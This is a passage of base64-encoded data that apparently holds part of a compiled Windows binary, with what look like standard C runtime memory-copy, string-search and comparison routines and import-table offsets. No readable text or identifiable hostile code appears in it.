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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABOUFABrlBQAo5QUAPOUFAFDlBQBi5QUAduUFAIrlBQCe5QUAruUFAMDlBQDS5QUA4uUFAPblBQAK5gUAGuYFADLmBQBG5gUAXuYFAHDmBQCA5gUAiuYFAJbmBQCm5gUAwuYFANjmBQDw5gUACucFAB7nBQAu5wUAPucFAFDnBQBg5wUAdOcFAILnBQCW5wUArucFAL7nBQDO5wUA4OcFAPDnBQAC6AUAGOgFADLoBQBE6AUAVOgFAGroBQB+6AUAkugFAKzoBQDA6AUA1ugFAOjoBQD46AUACukFACjpBQBG6QUAYukFAGzpBQCI6QUApOkFALbpBQDK6QUA5OkFAAbqBQAa6gUAMOoFAErqBQBq6gUAeuoFAIzqBQCg6gUAuOoFAMrqBQDW6gUAtPgFAAAAAAAM6wUAJOsFADjrBQBc6wUAgOsFAJ7rBQC06wUA2OsFAPbrBQAI7AUAIOwFAETsBQBa7AUAauwFAPbqBQAAAAAA7PAFANTwBQC68AUAqPAFAPzwBQAAAAAATvsFAEL7BQAy+wUAHvsFAAz7BQDy+gUA2PoFAMz6BQDA+gUArvoFAJz6BQCM+gUAevoFAHz7BQBa+gUATPoFAEL6BQA2+gUAKvoFABT6BQD++QUA6PkFANr5BQDI+QUAtvkFAJ75BQCG+QUAbvkFAGL5BQBQ+QUARvkFADj5BQAq+QUAHvkFAPb4BQDe+AUAXPsFAGz7BQDI+AUAjPsFAGr6BQCS+AUAdvgFAGT4BQBG+AUAKvgFABb4BQAA+AUA6vcFAND3BQC69wUApvcFAJT3BQB49wUAYPcFAEL3BQAy9wUAFPcFAAD3BQDy9gUA4PYFAND2BQC29gUAoPYFAJT2BQC48wUAxvMFAN7zBQDq8wUA9vMFAAL0BQAQ9AUAGPQFACj0BQA69AUASPQFAFj0BQBo9AUAgPQFAJT0BQCo9AUAuvQFAMj0BQDa9AUA8PQFAAL1BQAQ9QUAIP